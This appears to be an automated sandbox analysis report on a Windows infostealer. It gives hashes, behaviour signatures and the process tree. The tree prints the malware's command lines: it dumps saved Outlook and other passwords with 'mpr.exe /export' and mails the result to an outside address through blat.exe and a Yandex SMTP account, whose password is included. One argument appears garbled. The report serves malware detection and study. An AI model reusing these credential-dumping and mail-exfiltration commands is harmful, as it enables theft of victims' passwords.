Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16/10/2024, 22:51

General

  • Target

    4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe

  • Size

    1.1MB

  • MD5

    4f73e81d0101de7157f5c2f005fb589d

  • SHA1

    0f361bde4d40acccf35047ecb549f9215ca14465

  • SHA256

    e66f7f877023fed0b8fcf763b4c06744f087f32c378e59c143a51e932d176c3e

  • SHA512

    40383084fa3efc0603f187e9e67927b7949f29bb08504fc00dc5b77ea4998edb5da0c7f27fc848468a9459a940e2f0cca4d953e3c3515fddd06639766a95a663

  • SSDEEP

    24576:NnLB6UAKy5FQKBIxV5E+BHB5gaeuJN5qX35:NnN6UE5uO+nv4

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 24 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\4f73e81d0101de7157f5c2f005fb589d_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2256
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\18DE.tmp\1.bat" "
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2112
      • C:\Windows\SysWOW64\PING.EXE
        ping ya.ru -n 5
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2744
      • C:\Users\Admin\AppData\Local\Temp\18DE.tmp\blat.exe
        blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u [email protected] -pw ttk2010
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2584
      • C:\Users\Admin\AppData\Local\Temp\18DE.tmp\MPR.exe
        mpr.exe /export
        3⤵
        • Executes dropped EXE
        • Accesses Microsoft Outlook accounts
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • outlook_win_path
        PID:2860
      • C:\Users\Admin\AppData\Local\Temp\18DE.tmp\blat.exe
        blat.exe -bεd≤ PassReg -to [email protected] -attach pass.mpf
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2564

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\18DE.tmp\1.bat

          Filesize

          357B

          MD5

          d6b01433eba515a0fbdc965f97b231a7

          SHA1

          ddad62300ccd645f4de785a28288b64b06fe3d51

          SHA256

          e247b236776d88f357989b5a6093a3d0d32500ed27f6359d63f8dc80c8207ce4

          SHA512

          3ae5f753988f4006c641c1ba1506e2695452a8953315878ac964bca326909cf28ee5adacbb291241a179e9c40eb4194319b1ac8921fc62786a7da2a75eb92271

        • C:\Users\Admin\AppData\Local\Temp\18DE.tmp\HookLib.dll

          Filesize

          42KB

          MD5

          9b2e0db7547afab728ec31b7288705d6

          SHA1

          cedd09c5fda6c9445d191f97034e23e960361074

          SHA256

          ff44a0fe9d27fc3c1f455b2b9e989235ea55be4b95ed569be4b15129e624214b

          SHA512

          1c4c5eb672541a0fd39ed1174bdd3533e136233bd904c2e8bc7ffcab4f3e9835cbc357a66c6704619795ce983ce57a6a8a206aa922addfcc771dd14c277cdf33

        • C:\Users\Admin\AppData\Local\Temp\18DE.tmp\SAV_KHBTHJFA_10.16.2024_10-51-49_PM.mpf

          Filesize

          20KB

          MD5

          e6c7c5d0e84bea6fbce72fcd0911d0b9

          SHA1

          cd14406501b217ffef3462bebadcba77378288ce

          SHA256

          f90fab174e87db8f63862ee3714f01fa35b935988ddc397f111239ac6656816a

          SHA512

          85a138a6bdea227edf64fc9060257a5d7d0d2c9d40d123c37ed2ca83c216391aad8eae736a238d5babc0b1b968c79d7e13de30094ff27090b6ac78b3262f3e53

        • C:\Users\Admin\AppData\Local\Temp\18DE.tmp\blat.dll

          Filesize

          120KB

          MD5

          724cae63522f6e5f7565a3bf4b2a719b

          SHA1

          18620dbd4357d85918070f669ff4b61755290757

          SHA256

          b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779

          SHA512

          af68749cadf9920a8bed455a2557b1faf475d30fdd62f45da6757fbc5a59341fffeccca4ff646b334da95cf673deeeea74bdbb27a16f510a4e3309055f89817d

        • C:\Users\Admin\AppData\Local\Temp\18DE.tmp\blat.lib

          Filesize

          2KB

          MD5

          3cd3cffda2b5108e2778f94429c624d6

          SHA1

          3e4d218d1b8eb4fa1ab5152b126951892aff3dc9

          SHA256

          b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff

          SHA512

          c80080afcc982c4e950876756fb32c7f24fbe45bfbbe78afe144be1ede86dc9ef1e57db95d3df7f4c6011fd226f23684b929781b55d1be659cfa75d14f8d0c79

        • C:\Users\Admin\AppData\Local\Temp\18DE.tmp\block_reader.sys

          Filesize

          1KB

          MD5

          b5a0cfd3e6cb42a29255faa1546f420c

          SHA1

          c55cb0f7b5a04231607498b83629e70105113ee3

          SHA256

          a2d200514887c6f05c9e6150b57cf4541c4923b857cf15723454885b9353dff0

          SHA512

          274a7371f1d75803926380fd10c60c9aa1bb1088594e3e0be5db255bb9f31ae178e8f79ba4b2deb49c24289dea5b17d1244c873e038d0a94159252ab62f4342e

        • \Users\Admin\AppData\Local\Temp\18DE.tmp\MPR.exe

          Filesize

          3.3MB

          MD5

          6faecfac8efa8c166d27b4325249de29

          SHA1

          1069b5203adca80a91aa12512cec93ac1344f277

          SHA256

          ebe91e2a3e9b5ab00c659bf72e8899425522701c0fe48ac905228068565f1967

          SHA512

          179461a31f21e47413226087d2d465ae787739fcc7d0cfb663f94ca69028dee5bbf77ab72c17caad6f72ff556beeefc9f1f29ec52909c710b6b112a29e4f6cc9

        • \Users\Admin\AppData\Local\Temp\18DE.tmp\blat.exe

          Filesize

          112KB

          MD5

          31f84e433e8d1865e322998a41e6d90e

          SHA1

          cbea6cda10db869636f57b1cffad39b22e6f7f17

          SHA256

          aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e

          SHA512

          7ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9

        • memory/2256-45-0x0000000000400000-0x0000000000799000-memory.dmp

          Filesize

          3.6MB

        • memory/2256-0-0x0000000000400000-0x0000000000799000-memory.dmp

          Filesize

          3.6MB

        • memory/2256-62-0x0000000000400000-0x0000000000799000-memory.dmp

          Filesize

          3.6MB

        • memory/2860-35-0x0000000000330000-0x0000000000331000-memory.dmp

          Filesize

          4KB

        • memory/2860-52-0x0000000000500000-0x000000000084A000-memory.dmp

          Filesize

          3.3MB